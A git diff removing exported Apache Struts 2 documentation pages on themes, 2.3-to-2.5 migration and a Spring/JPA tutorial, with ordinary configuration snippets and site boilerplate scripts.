-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;dependency&gt;
-     &lt;groupId&gt;toplink.essentials&lt;/groupId&gt;
-     &lt;artifactId&gt;toplink-essentials&lt;/artifactId&gt;
-     &lt;version&gt;2.0-38&lt;/version&gt;
-     &lt;exclusions&gt;
-         &lt;exclusion&gt;
-             &lt;groupId&gt;javax.transaction&lt;/groupId&gt;
-             &lt;artifactId&gt;jta&lt;/artifactId&gt;
-         &lt;/exclusion&gt;
-     &lt;/exclusions&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div></li><li>Replace the jpaVendorAdapter element in <em>applicationContext.xml</em> with this:
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;property name="jpaVendorAdapter"&gt;
-    &lt;bean class="org.springframework.orm.jpa.vendor.TopLinkJpaVendorAdapter"&gt;
-        &lt;property name="databasePlatform" value="oracle.toplink.essentials.platform.database.MySQL4Platform" /&gt;
-        &lt;property name="generateDdl" value="true" /&gt; 
-        &lt;property name="showSql" value="true" /&gt;
-    &lt;/bean&gt;
-&lt;/property&gt;
-</pre>
-</div></div></li></ol>
-
-
-
-<h1 id="Struts2+Spring2+JPA+AJAX-References">References</h1>
-<p><a shape="rect" class="external-link" href="http://struts.apache.org/2.x/">Struts</a><br clear="none">
-<a shape="rect" class="external-link" href="http://static.springframework.org/spring/docs/2.0.x/reference/orm.html#orm-jpa" rel="nofollow">Spring JPA Doc</a><br clear="none">
-<a shape="rect" class="external-link" href="http://www.eclipse.org/dali/" rel="nofollow">Eclipse Dali</a></p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/struts-2-themes.data/Screen-shot-2010-09-11-at-12.37.12-PM.png b/content/docs/struts-2-themes.data/Screen-shot-2010-09-11-at-12.37.12-PM.png
deleted file mode 100644
index 8bbfcb9..0000000
Binary files a/content/docs/struts-2-themes.data/Screen-shot-2010-09-11-at-12.37.12-PM.png and /dev/null differ
diff --git a/content/docs/struts-2-themes.html b/content/docs/struts-2-themes.html
deleted file mode 100644
index c324434..0000000
--- a/content/docs/struts-2-themes.html
+++ /dev/null
@@ -1,190 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Struts 2 Themes</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="getting-started.html">Getting Started</a>&nbsp;&gt;&nbsp;<a href="struts-2-themes.html">Struts 2 Themes</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Struts 2 Themes</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=23337450">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=23337450">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=23337450">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=23337450">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=23337450">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=23337450">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>The example code for this tutorial, themes, is available for checkout at <a shape="rect" class="external-link" href="https://github.com/apache/struts-examples" rel="nofollow">https://github.com/apache/struts-examples</a></ [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;s:select key="personBean.sport" list="sports" /&gt;
-</pre>
-</div></div><p>generates this HTML markup:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>HTML Created By Struts 2 Select Tag</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;tr&gt;
-&lt;td class="tdLabel"&gt;
-&lt;label for="save_personBean_sport" class="label"&gt;Favorite sport:&lt;/label&gt;
-&lt;/td&gt;
-&lt;td&gt;
-&lt;select name="personBean.sport" id="save_personBean_sport"&gt;
-    &lt;option value="football"&gt;football&lt;/option&gt;
-    &lt;option value="baseball"&gt;baseball&lt;/option&gt;
-    &lt;option value="basketball" selected="selected"&gt;basketball&lt;/option&gt;
-&lt;/select&gt;
-&lt;/td&gt;
-&lt;/tr&gt;
-</pre>
-</div></div><p>Notice how the HTML generated uses table tags to control the layout of the label and select HTML. There is also a class, tdLabel, applied to the table column where the label tag is rendered. Since no theme was specified for the Struts 2 select tag the default xhmtl theme was used.</p><h3 id="Struts2Themes-SpecifyingTheThemeStruts2ShouldUse">Specifying The Theme Struts 2 Should Use</h3><p>The Struts 2 tags have a theme attribute you can use to specify which Struts 2 theme s [...]
-<pre class="brush: css; gutter: false; theme: Default" style="font-size:12px;">.label {font-style:italic; }
-.errorLabel {font-style:italic; color:red; }
-.errorMessage {font-weight:bold; color:red; }
-.checkboxLabel {}
-.checkboxErrorLabel {color:red; }
-.required {color:red;}
-.tdLabel {text-align:right; vertical-align:top; }
-</pre>
-</div></div><p>So the .label selector renders the label tag&#8217;s text in italic. The .tdLabel tag specifies that the text should align to the right and top of the table column.</p><p>You can override the above selectors by including the same selectors in your page&#8217;s head section. For example add the following to the head section of edit.jsp.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Over [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;style type="text/css"&gt;
-  .label {color:blue; font-style:normal; font-weight:bold}
-&lt;/style&gt;
-</pre>
-</div></div><p>Now the label tag will render the text in blue, bold, normal (not italics) style.</p><h3 id="Struts2Themes-CreatingAndApplyingYourOwnThemesForStruts2Tags">Creating And Applying Your Own Themes For Struts 2 Tags</h3><p>The theme templates (simple, xhtml, css_xhtml) can be found in the Struts 2 core jar file. If you expand (extract the files) the Struts 2 core jar file you'll find folders named template.css_xhtml, template.simple, and template.xhtml. Those folders contain th [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;#include "/${parameters.templateDir}/${parameters.expandTheme}/controlheader.ftl" /&gt;
-
-&lt;#include "/${parameters.templateDir}/KUTheme_simple/checkboxlist.ftl" /&gt;
-
-&lt;#include "/${parameters.templateDir}/${parameters.expandTheme}/controlfooter.ftl" /&gt;&lt;#nt/&gt;
-</pre>
-</div></div><p>Be sure to note the change to the second line&#8212;using KUTheme_simple in the path.</p><p>Then in the example application I created a KUTheme_simple folder under <code>src/main/resources/template</code> (optionally you can place it under <code>webapp</code>, e.g. <code>src/main/webapp/template</code>). In that folder I created checkboxlist.ftl and copied the contents from template.simple checkboxlist.ftl (again found in the Struts 2 core jar). After copying the contents  [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/struts-23-to-25-migration.html b/content/docs/struts-23-to-25-migration.html
deleted file mode 100644
index d122fb0..0000000
--- a/content/docs/struts-23-to-25-migration.html
+++ /dev/null
@@ -1,221 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Struts 2.3 to 2.5 migration</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="struts-23-to-25-migration.html">Struts 2.3 to 2.5 migration</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Struts 2.3 to 2.5 migration</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=65868294">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=65868294">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=65868294">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=65868294">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=65868294">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=65868294">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><style type="text/css">/*<![CDATA[*/
-div.rbtoc1502256672145 {padding: 0px;}
-div.rbtoc1502256672145 ul {list-style: disc;margin-left: 0px;}
-div.rbtoc1502256672145 li {margin-left: 0px;padding-left: 0px;}
-
-/*]]>*/</style></p><div class="toc-macro rbtoc1502256672145">
-<ul class="toc-indentation"><li><a shape="rect" href="#Struts2.3to2.5migration-Dependencies">Dependencies</a></li><li><a shape="rect" href="#Struts2.3to2.5migration-StrutsPrepareAndExecuteFilter">StrutsPrepareAndExecuteFilter</a></li><li><a shape="rect" href="#Struts2.3to2.5migration-DTD">DTD</a></li><li><a shape="rect" href="#Struts2.3to2.5migration-HTML5">HTML 5</a></li><li><a shape="rect" href="#Struts2.3to2.5migration-Tagsattributes">Tags attributes</a></li><li><a shape="rect" href=" [...]
-</div><h3 id="Struts2.3to2.5migration-Dependencies">Dependencies</h3><p>Update Struts dependencies to 2.5.<br clear="none"><br clear="none">Remove the following plugin dependencies because they were dropped and aren't supported anymore.</p><ul><li>Dojo Plugin</li><li>Codebehind Plugin</li><li>JSF Plugin</li><li>Struts1 Plugin</li></ul><p>Please be aware that the framework is using Log4j2 now as a main logging layer, the existing old logging layer is deprecated and will be removed soon. L [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;filter&gt;
-    &lt;filter-name&gt;struts2&lt;/filter-name&gt;
-    &lt;filter-class&gt;org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter&lt;/filter-class&gt;
-&lt;/filter&gt;</pre>
-</div></div><p>with that:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;filter&gt;
-    &lt;filter-name&gt;struts2&lt;/filter-name&gt;
-    &lt;filter-class&gt;org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter&lt;/filter-class&gt;
-&lt;/filter&gt;</pre>
-</div></div><p>There were other package changes, please read&#160;<a shape="rect" href="version-notes-25.html">Version Notes 2.5</a> for more details.</p><h3 id="Struts2.3to2.5migration-DTD">DTD</h3><p>Struts DTD was updated to 2.5 version.<br clear="none"><br clear="none">In struts.xml replace 2.3 DTD version:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;!DOCTYPE struts PUBLIC
-        "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
-        "http://struts.apache.org/dtds/struts-2.3.dtd"&gt;</pre>
-</div></div><p>with 2.5:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;!DOCTYPE struts PUBLIC
-        "-//Apache Software Foundation//DTD Struts Configuration 2.5//EN"
-        "http://struts.apache.org/dtds/struts-2.5.dtd"&gt;</pre>
-</div></div><h3 id="Struts2.3to2.5migration-HTML5">HTML 5</h3><p>All the core themes are now HTML 5&#160;compliant which means using a&#160;<code>required</code> attribute in your tags will produce a proper browser's validation.</p><h3 id="Struts2.3to2.5migration-Tagsattributes">Tags attributes</h3><p>The&#160;<code>id</code> attribute was replaced with&#160;<code>var</code> attribute in the following tags.</p><ul><li><code>&lt;s:action&gt;</code></li><li><code>&lt;s:append&gt;</code></l [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;s:url id="url" action="login"&gt;</pre>
-</div></div><p>change it to:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;s:url var="url" action="login"&gt;</pre>
-</div></div><p><br clear="none">The&#160;<code>&lt;s:set&gt;</code> tag&#160;<code>name</code> attribute is replaced with&#160;<code>var</code> attribute.</p><p>From:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;s:set id="str1" value="'string1 value'" /&gt;
-&lt;s:set name="str2" value="'string2 value'" /&gt;</pre>
-</div></div><p>to:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;s:set var="str1" value="'string1 value'" /&gt;
-&lt;s:set var="str2" value="'string2 value'" /&gt;</pre>
-</div></div><p>Also&#160;<code>escape</code> attribute was renamed to&#160;<code>escapeHtml</code> attribute.</p><p>From:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;s:property escape="true" var="someProperty"/&gt;</pre>
-</div></div><p>to:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;s:property escapeHtml="true" var="someProperty"/&gt;</pre>
-</div></div><h3 id="Struts2.3to2.5migration-Divtag">Div tag</h3><p>The&#160;<code>&lt;s:div&gt;</code> tag was dropped.<br clear="none"><br clear="none">Replace&#160;<code>&lt;s:div&gt;</code> with plain HTML&#160;<code>&lt;div&gt;</code> tag.</p><h3 id="Struts2.3to2.5migration-Fieldnames">Field names</h3><p>If you have field names which starts with single lower case letter, for example:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">private String sTrng;
-public String getSTrng() {...}
-public void setSTrng(String str) {...}</pre>
-</div></div><p><br clear="none">change accessors to&#160;<code>getsTrng</code> and <code>setsTrng</code>.<br clear="none"><br clear="none">Or better yet, change field names to not contain single lower case letter:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">private String strng;
-public String getStrng() {...}
-public void setStrng(String str) {...}</pre>
-</div></div><p><br clear="none">For additional info see <a shape="rect" class="external-link" href="https://issues.apache.org/jira/browse/WW-3909">WW-3909</a>.</p><h3 id="Struts2.3to2.5migration-Tiles">Tiles</h3><p>Depending on from which version of struts you upgrade and whether you used <code>tiles-plugin</code> or <code>tiles3-plugin</code> you may need to do different steps.</p><p>Struts 2.5 just provides a <code>tiles-plugin</code> which uses Tiles3. So support for Tiles2 has been d [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">        &lt;dependency&gt;
-            &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-            &lt;artifactId&gt;struts2-tiles-plugin&lt;/artifactId&gt;
-            &lt;version&gt;${struts2.version}&lt;/version&gt;
-        &lt;/dependency&gt;</pre>
-</div></div><p>&#160;</p><p>You may need to update DTD in your<code> tiles.xml</code> files to Tiles3:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>tiles3 dtd</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;!DOCTYPE tiles-definitions PUBLIC
-       "-//Apache Software Foundation//DTD Tiles Configuration 3.0//EN"
-       "http://tiles.apache.org/dtds/tiles-config_3_0.dtd"&gt;</pre>
-</div></div><p>&#160;</p><p>A Listener in <code>web.xml</code> is required. It is not necessary to configure paths to <code>tiles.xml</code> files here as they are picked up automatically.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>StrutsTilesListener in web.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;listener&gt;
-  &lt;listener-class&gt;org.apache.struts2.tiles.StrutsTilesListener&lt;/listener-class&gt;
-&lt;/listener&gt;
-
-</pre>
-</div></div><p>&#160;</p><p>Optionally you may remove TilesDefinitions from XML and annotate actions instead. See <a shape="rect" href="tiles-plugin.html">Tiles Plugin</a> for more details.</p><h3 id="Struts2.3to2.5migration-Temp/WorkdirectoryofApplicationServer/ServletContainer">Temp/Work directory of ApplicationServer/ServletContainer</h3><p>Users reported it was necessary for them to remove temp/work directory of their ApplicationServer/ServletContainer. Likely to force server to reco [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;@s.textfield name="userId" value=35/&gt;</pre>
-</div></div><p>this snippet will produce the following Html control:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;input type="text" name="userId" value="35.0"/&gt;</pre>
-</div></div><p>To resolves this problem you must add quotes around the value:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;@s.textfield name="userId" value="35"/&gt;</pre>
-</div></div><p>This is due how Freemarker treats <a shape="rect" class="external-link" href="http://freemarker.org/docs/dgui_template_exp.html#dgui_template_exp_direct_number" rel="nofollow">a number literals</a>.</p><p>&#160;</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/struts-control-tags.html b/content/docs/struts-control-tags.html
deleted file mode 100644
index 56503fa..0000000
--- a/content/docs/struts-control-tags.html
+++ /dev/null
@@ -1,182 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
